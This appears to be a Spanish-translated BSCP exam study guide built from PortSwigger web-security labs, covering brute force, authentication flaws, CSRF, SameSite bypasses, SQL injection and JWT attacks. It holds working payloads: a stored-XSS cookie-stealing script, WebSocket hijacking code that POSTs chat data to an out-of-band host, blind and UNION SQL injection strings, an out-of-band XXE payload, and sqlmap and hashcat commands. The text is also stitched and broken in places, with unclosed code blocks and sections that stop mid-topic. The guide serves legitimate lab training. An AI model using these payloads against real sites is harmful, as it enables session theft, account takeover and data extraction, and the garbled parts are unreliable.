![admin-panel-access](https://assets.kitploit.com/production/public/readmes/51008/71bc02ebbf47a4060144c099b7ef0c27e9c602bdba1f757389b8124c37b14026/e8f3eef3bfadcb8098dae9dc5ee39feee97c03fef2660e36a32657abfadd056a-display-v1.webp)  

[Laboratorio de PortSwigger: Envenenamiento de la cola de respuestas mediante el contrabando de solicitudes H2.TE](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)  
  
-----

## Fuerza bruta  

[Stay-Logged-in](#stay-logged-in)  
[Descifrado sin conexión de Stay-logged-in](#stay-logged-in-offline-crack)  
[Inicio de sesión protegido por fuerza bruta](#brute-force-protected-login)  
[Inicio de sesión sutilmente inválido](#subtly-invalid-login)  

### Stay-Logged-in  

>La opción de inicio de sesión con una casilla de verificación de mantenerse conectado da como resultado un valor de cookie que contiene la contraseña del usuario que inició sesión y es vulnerable a la fuerza bruta.  

![stay-logged-in](https://assets.kitploit.com/production/public/readmes/51008/bc01af2d88a60a883c0f2e995e5759a41dac84717959f609e66ac1b814ef8877/eac5c63cdf23ce19f4026efdcf50a42353548a5ef0880cbd686190820ddd6e0c-display-v1.webp)  

>Los pasos de explotación a continuación, junto con las reglas de procesamiento de Payload de Intruder en orden, e incluyendo la opción GREP en secuencia antes de iniciar el ataque.  
  
1. Cierra sesión como el usuario actual.  
2. Envía la solicitud GET /my-account más reciente a Burp Intruder.  
3. Selecciona la cookie: ```stay-logged-in``` como posición de inyección.  
4. Hash: ```MD5```  
5. Añade el prefijo: ```carlos:```  
6. Codifica: ```Base64-encode```  
7. Añade **GREP** en la pestaña de configuración para buscar la cadena ```Update email``` en la respuesta, lo que indica un inicio de sesión exitoso.  
  
![brute](https://assets.kitploit.com/production/public/readmes/51008/dd219a46a6bde2ffcaa071930104090dfe53117dff9a9b2ac2319b677ff79798/bb3d75edbac7f93d5f11f594aa0641ba1f91960d7c5e468bab3529b564de62f4-display-v1.webp)  

[Laboratorio de PortSwigger: Fuerza bruta a una cookie de mantenerse conectado](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)  
  
### Descifrado sin conexión de Stay-logged-in  
  
>La función de comentarios de la aplicación de blog es vulnerable a [XSS almacenado](#stored-xss); usa el siguiente payload en el comentario del blog para enviar la cookie de sesión de Carlos al servidor de explotación.```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>

![Intruder Pitchfork](https://assets.kitploit.com/production/public/readmes/51008/66026c73089a17cd963c3f4604ee2c5eb87ca8d728f8e439873461a65886511b/57f16b4c63a4656510202fb58c8982bbdf9ab729ca4beb4a187b5026f66129bb-display-v1.webp)  

>Repite el ataque **Pitchfork** de Intruder en el campo de contraseña y luego ***identifica*** la contraseña válida desde la columna de estado con el resultado 302.  

[Laboratorio PortSwigger: Enumeración de nombres de usuario mediante tiempos de respuesta](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)  

### Inicio de sesión inválido sutil  

>***Identifica*** que la página de inicio de sesión y el restablecimiento de contraseña no están protegidos contra ataques de fuerza bruta, y no se aplica bloqueo de IP ni tiempo de espera para un nombre de usuario o contraseña inválidos.  

>Consejo para el examen BSCP, a veces hay otro usuario con contraseña débil que puede ser forzado por fuerza bruta. Carlos no siempre es la cuenta a la que apuntar para obtener acceso inicial en la etapa 1.  

![Subtly invalid login](https://assets.kitploit.com/production/public/readmes/51008/34b633ea5cc880f83ce62425f6cedfe66b071c6da84838036fdb877693c30d3c/1909672808f6935dcad4ad54ae81211b41c104f0e6e6a8caecac2ad37fce6cfe-display-v1.webp)  

>Observa en la columna del ataque de Intruder para el valor GREP, ```Invalid username or password.``` la única respuesta de mensaje para un ataque de nombre de usuario fallido no contiene un punto final al final. Repite el ataque con este nombre de usuario ***identificado*** y ataca el campo de contraseña con **Sniper** para ***identificar*** la respuesta ```302``` para un inicio de sesión válido.  

![Refresh Password](https://assets.kitploit.com/production/public/readmes/51008/902b614feb19dcbd95a3d8c7cdd0b4fb3beb1187c567ad7e5ef6a0eff0afc759/6777d0da3b54f56334d8b81dd648ba26bf558fff7a0bea4079089ae0738af940-display-v1.webp)  

>En el examen BSCP ***busca*** otros mensajes devueltos que sean diferentes y revelen cuentas válidas en la aplicación, y permitan la ***identificación*** por fuerza bruta de contraseñas de cuentas, como por ejemplo en la función de [restablecimiento de contraseña](#refresh-password-broken-logic).  

>Una vez que se identifica un nombre de usuario válido a partir de un mensaje de respuesta diferente, realiza [fuerza bruta](#brute-force) usando Burp Intruder sobre la contraseña.  

[Laboratorio PortSwigger: Enumeración de nombres de usuario mediante respuestas sutilmente diferentes](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)  

>Otro escenario para identificar un nombre de usuario válido en la aplicación web es proporcionar una lista de nombres de usuario al iniciar sesión y un valor de contraseña no válido. En los resultados del ataque de Intruder, una respuesta contendrá el mensaje `Incorrect password`.  
>Posición de inyección del ataque Intruder, `username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.  

[Laboratorio PortSwigger: Enumeración de nombres de usuario mediante respuestas diferentes](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)  

-----

## Autenticación  

[Registro de cuenta](#account-registration)  
[Macro de omisión de token de autenticación](#auth-token-bypass-macro)  

### Registro de cuenta  

>La falla de lógica de negocio en la función de registro de cuenta permite obtener acceso inicial como el rol de usuario objetivo. [Descubrimiento de contenido](#content-discovery) encuentra la ruta ```/admin```, el mensaje indica que la interfaz de administración solo está disponible si se inicia sesión como un usuario **DontWannaCry**.  

![Register length flaw](https://assets.kitploit.com/production/public/readmes/51008/9e90582af49743f7b9087c67a20d69bf74b4b8ef0dab1fbdff3a60392b9cd840/72715f12a9b48d4d37c280f2ac392de70361075d62642755035855d51a8d29ab-display-v1.webp)  

>Crear un correo electrónico con más de 200 caracteres antes del símbolo ```@``` se trunca luego a 255 caracteres. Esto ***identifica*** la vulnerabilidad en el **fallo** de lógica de la página de registro de cuenta. En el correo a continuación, la ```m``` al final de ```@dontwannacry.com``` es exactamente el carácter 255.```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

[PortSwigger Lab: Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)  

### CSRF de validación de Referer  

>***Identifica*** que la función de cambio de correo electrónico es vulnerable a CSRF al observar que, cuando se cambia el valor del encabezado **Referer**, la respuesta muestra el mensaje `Invalid referer header`, y el cambio de correo electrónico se acepta cuando el valor del referrer contiene el dominio objetivo esperado en algún lugar del valor.  

![identify csrf referer header check](https://assets.kitploit.com/production/public/readmes/51008/0079dbd0e1ec1a68beb7853c04e86b3f80604413c126d203c93e1c2bb0f077d2/de7db5ae7069fafd14a3ddbc461c22d6fb39765e149e354e24fa97ff457156de-display-v1.webp)  

>Al agregar el dominio original del objetivo y añadir `history.pushState('', '', '/?TARGET.net');` al encabezado **Referer** en forma de cadena de consulta, se permite que el cambio de correo electrónico se actualice.```html
Referrer-Policy: unsafe-url

>Genere el POC de CSRF, habilite la opción para incluir un script de **auto-submit** y haga clic en **Regenerate**. Elimine el bloque de código del script **auto-submit** y agregue lo siguiente en su lugar, y coloque el código de script ```history.pushState``` debajo del encabezado del cuerpo. El **onerror** de la etiqueta IMG SRC enviará en su lugar el POC de CSRF.```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">

![CSRF escalada de privilegios](https://assets.kitploit.com/production/public/readmes/51008/6e45b81f9d54e5214924f032463b6f4f5eb9cdb28412f64ce9a823f6d6262b17/ddc915c61d778debd9f3dd2808cb4043859b9f6865d26d718536d8d06e5bc4f8-display-v1.webp)  
  
### CSRF sin defensas  

>Un objetivo sin defensas contra la función de cambio de correo electrónico puede permitir la escalada de privilegios al rol de administrador. En el examen, cambiar el correo electrónico a la dirección `[email protected]` en el servidor de explotación puede permitir al atacante cambiar la contraseña del usuario administrador, lo que resulta en una escalada de privilegios.  
>En el examen solo hay ***un*** usuario activo, y si la etapa anterior se completó mediante un ataque que no requirió que el usuario activo hiciera clic en un enlace, ya sea mediante envenenamiento de caché o un ataque de phishing a través de la función `Deliver to Victim`, entonces se puede utilizar el exploit de cambio de CSRF.  

![csrf-change-email.png](https://assets.kitploit.com/production/public/readmes/51008/6c60faf6361552e4964ca0299ebb1608cacc054461745662e4f9383ffedaaf3b/236a9dc558e23d3a3d4c98560cc25d64205efec80144ca7eeb993495d3a59cdd-display-v1.webp)  

[Laboratorio de PortSwigger: vulnerabilidad CSRF sin defensas](https://portswigger.net/web-security/csrf/lab-no-defenses)  

### Bypass de SameSite Strict  

>En la función de chat en vivo, notamos que la solicitud `GET /chat HTTP/2` no utiliza tokens impredecibles; esto puede ***identificar*** una posible vulnerabilidad de [secuestro de WebSocket entre sitios](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking) (CSWSH) si es posible omitir la restricción de cookies [SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions).  
>Aloja en el servidor de explotación un payload POC para ***identificar*** la vulnerabilidad CSWSH.```
<script>
    var ws = new WebSocket('wss://TARGET.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

>Omita las restricciones SameSite codificando en URL todo el script siguiente y usándolo como entrada al subdominio CDN en el inicio de sesión de usuario `cms-`, alojado en el servidor de exploit.```
<script>
    var ws = new WebSocket('wss://TARGE.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

>El historial de chat contiene la contraseña de la víctima.

![chat-history.png](https://assets.kitploit.com/production/public/readmes/51008/882911320e69de26eefa71e4f3d6b6a6fdeac737f45a313863dac4c93cd3d225/f3cfe7ef3a4e620433e55ea3f5312a26e94a6e45e5bf1bd56d702548ceb2cbb4-display-v1.webp)  

[Lab de PortSwigger: Bypass de SameSite Strict mediante dominio hermano](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)  

### Bypass de SameSite Lax  

>Observe si visita `/social-login`, esto inicia automáticamente el flujo OAuth completo. Si todavía tiene una sesión iniciada con el servidor OAuth, todo esto ocurre sin ninguna interacción. Además, en el historial del proxy, observe que cada vez que completa el flujo OAuth, el sitio objetivo establece una nueva cookie de sesión incluso si ya había iniciado sesión.  

>Salta el bloqueador de ventanas emergentes, para inducir a la víctima a hacer clic en la página y que la ventana emergente solo se abra una vez que la víctima haya hecho clic, mediante el siguiente JavaScript. El código JavaScript del exploit primero renueva la sesión de la víctima al forzar a su navegador a visitar `/social-login`, y luego envía la solicitud de cambio de correo electrónico tras una breve pausa. Entrega el exploit a la víctima.```
<form method="POST" action="https://TARGET.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://TARGET.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

>[Codificado en URL](https://www.urlencoder.org/) `PostgreSQL` payload.```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--

![blind-time-delay SQLi](https://assets.kitploit.com/production/public/readmes/51008/46c985b647369721299240587ce419b7890ff46abab191040b0da91187e69a6a/833ff096083057dc0b8241e6be68f3488ffbe38ce167d619967c277e987e9123-display-v1.webp)  

>Usando el ataque CLUSTER Bomb para volver a ejecutar el ataque en cada permutación de las posiciones de los caracteres en la contraseña, y determinar el valor del carácter.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

![practice exam stage-2 time delay sqli](https://assets.kitploit.com/production/public/readmes/51008/591c6c93d17a4fad71c84924b82f6b102cdcb7403345fc89a25393801b5f4fcb/3de53e0a110faccc64ec3df7bb827afceaec12b28fb13de0e6e942ebdda4cbc8-display-v1.webp)  

>Con un ataque de bomba CLUSTER de Intruder, la contraseña puede extraerse en un solo ataque con dos posiciones de payload en el siguiente payload.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users--

![Inyección SQL ciega con exfiltración de datos fuera de banda](https://assets.kitploit.com/production/public/readmes/51008/77ecbd2fb851d947a64ea7f80ed8d2edfae3c11ce5990b5dab193d0089ede73f/34f35502299c43e70be75fe5ad7a9ca416d47c6d5aa53ca52945e7ad54fd72e3-display-v1.webp)  
  
[Laboratorio de PortSwigger: Inyección SQL ciega con exfiltración de datos fuera de banda](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration)  
  
>La carga útil SQL anterior también se puede usar para extraer la contraseña del Administrador para este [reto de Laboratorio de PortSwigger: Inyección SQL ciega con errores condicionales](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors).  

### Inyección SQL ciega sin indicación  

>Colocar una comilla simple al final de la cookie ```trackingid``` o del parámetro de búsqueda `/search_advanced?searchTerm='` puede dar una respuesta `500 Internal Server Error`. Haz una suposición fundamentada: usando la carga útil de inyección SQL ciega de abajo y combinándola con la técnica básica de XXE, esto hace una llamada al servidor de colaboración pero no se exfiltra ningún dato.```sql
TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

[OAST - Pruebas de seguridad de aplicaciones fuera de banda](https://portswigger.net/burp/application-security-testing/oast)  

[Laboratorio PortSwigger: Inyección SQL ciega con interacción fuera de banda](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band)  
  
### Respuesta condicional de Blind SQLi

>Esta inyección SQL ciega se ***identifica*** por una pequeña diferencia de mensaje en las respuestas. Al enviar una consulta SQL válida y verdadera, la respuesta contiene la cadena ```Welcome back```. Las consultas SQL inválidas o falsas no contienen el mensaje condicional de la respuesta.```
' AND '1'='1

>Determina cuántos caracteres tiene la contraseña del usuario administrador. Para ello, cambia el valor de la declaración SQL a AND en la **pestaña Settings** de intruder, en la sección "Grep - Match". Borra cualquier entrada existente en la lista y, a continuación, añade el valor ```Welcome back``` a ***identificar*** la condición true.```
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

![respuesta condicional de inyección SQL](https://assets.kitploit.com/production/public/readmes/51008/2fa952e19084d8cf044ee00c0af0758f5a2525b6e3eb130e782d5e6e477ab7fa/775c0bc6baba6015d2d25f55994918b7720989ba2c1dad81e807ad893028bc91-display-v1.webp)  

>Alternativamente, use un ataque **CLUSTER Bomb** y establezca **dos** posiciones de payload, la primera para la posición del carácter con un payload de números ```1..20``` y la segunda posición, usando caracteres alfabéticos y numéricos, esto iterará a través de cada permutación de combinaciones de payload.  

![CLUSTER bomb](https://assets.kitploit.com/production/public/readmes/51008/2612fb60c5db8b49266cf925197eb38930d733d225b304e8803298c38bec168e/61ae6550d59a539ec054efdaad8ed27be2f83c3501b78e0072699009e1b66f03-display-v1.webp)  

[Laboratorio PortSwigger: Inyección SQL ciega con respuestas condicionales](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses)  
  
### Oracle  

>Identificó la inyección SQL añadiendo una **comilla simple** al final del valor del parámetro `category` y observando la respuesta de `500 Internal Server Error`.  
  
>Recupere la lista de tablas de la base de datos Oracle:```
'+UNION+SELECT+table_name,NULL+FROM+all_tables--

>Payload de Oracle para recuperar los nombres de usuario y contraseñas de la tabla Users_XXX.```
'+UNION+SELECT+USERNAME_XXX,+PASSWORD_XXX+FROM+USERS_XXX--

![SQLMAP usado para volcar datos de las tablas](https://assets.kitploit.com/production/public/readmes/51008/e91562db7de520c05b332d6ea72d4fd6ce995a1a990df232da525c2f43cadf7f/74ef860e904c08dc72a71d2fc729d39c847fce7675ee88d18347351f729240e5-display-v1.webp)  

>Este también es un buen comienzo con SQLMAP para ***identificar*** y extraer datos de una inyección SQL sensible basada en errores con retardo de tiempo en los filtros de búsqueda avanzada del examen.```
sqlmap -v -u 'https://TARGET.NET/search?term=x&organizeby=DATE&journalist=&cachebust=1656138093.57' -p "term" --batch --cookie="_lab=YESYESYESYES; session=YESYESYESYES" --random-agent --level=2 --risk=2

>Use SQLMAP para volcar las tablas identificadas de la base de datos `public`.```
-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public --tables

### SQLi manual no Oracle  

>Ataque UNION de inyección SQL, determinando el **número de columnas** devueltas por la consulta.```SQL
'+UNION+SELECT+NULL,NULL--

>A continuación ***identificando*** una lista de **tablas** en la base de datos.```SQL
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

>Recupera los nombres de las **columnas** en la tabla ***users***.```SQL
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_XXXX'--

>**EXTRA:** Si solo tienes una columna para extraer datos de texto, entonces concatena múltiples valores en un único campo de salida reflejado usando los caracteres de sintaxis SQL ```||``` de la base de datos.```
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

>Debido al límite de longitud del valor de la cookie, el payload se acorta usando `limit 1`, y el valor real de la cookie se reemplaza con solo una letra `x`. La inyección SQL usó la [función CAST](https://portswigger.net/web-security/sql-injection/blind).  

![Función CAST de inyección SQL](https://assets.kitploit.com/production/public/readmes/51008/8cbe3158f15d53a4fd4b4871f9ac4d84b3afe63769c73e89305d9df5690b6b81/67b43c731a975eaa82e1bb9bee41c17f69d0d82d9b61a9f34ca38680adb38969-display-v1.webp)  

[PortSwigger Lab: Inyección SQL basada en errores visibles](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based)  

-----

## JWT  

[Bypass de JWT mediante JWK](#manual-sqli)  
[Secreto débil de JWT](#jwt-weak-secret)  
[Cabecera kid de JWT](#jwt-kid-header)  
[Cabecera jku arbitraria de JWT](#jwt-arbitrary-jku-header)  


>Los JSON web tokens (JWTs) se utilizan para enviar datos JSON firmados criptográficamente, y se usan con mayor frecuencia para enviar información ("claims") sobre usuarios como parte de la autenticación, el manejo de sesiones y el control de acceso.  

### Bypass de JWT mediante JWK  

>El escáner de burp ***identifica*** una vulnerabilidad en el servidor como: **JWT self-signed JWK header supported**. Es posible explotarla mediante un fallo en la comprobación del origen de la clave proporcionada.  
>**jwk (JSON Web Key)** - Proporciona un objeto JSON incrustado que representa la clave.  

>Pasos para explotar el bypass de autenticación mediante la inyección de la cabecera jwk:  

1. Nueva clave RSA  
2. En el payload JWT de la solicitud, cambia el valor de la **sub claim** a administrator  
3. Selecciona Attack y luego selecciona **Embedded JWK** con la clave RSA recién generada  
4. Observa que un parámetro ```jwk``` ahora contiene nuestra clave pública, y al enviar la solicitud se obtiene acceso al portal de administración  

![cabecera jwk](https://assets.kitploit.com/production/public/readmes/51008/ce35d027fc88ad31fd8b852c8ad1913fd2f5bd8b08923304b385f7023aa0ccb2/3b8f9b446cebdaefc49adb6838972ef19bdd5a66dac508eb888a5ba5305292e4-display-v1.webp)  

[PortSwigger Lab: Bypass de autenticación JWT mediante inyección de cabecera jwk](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)  

### Secreto débil de JWT  

>Aplicar fuerza bruta a la clave de firma JWT débil usando `hashcat`.```bash
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list 

>Payload```
{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1673523674
}

![jwt-jku-header-exploit-server.png](https://assets.kitploit.com/production/public/readmes/51008/9a204d1ac713ebb90c2a2ea1d3d0262157863148f44b10dfe3fb57d32e84e476/2cb0be1ecadaf45760b6c769e2060fb2dce33895d631682e9f61e356700446c6-display-v1.webp)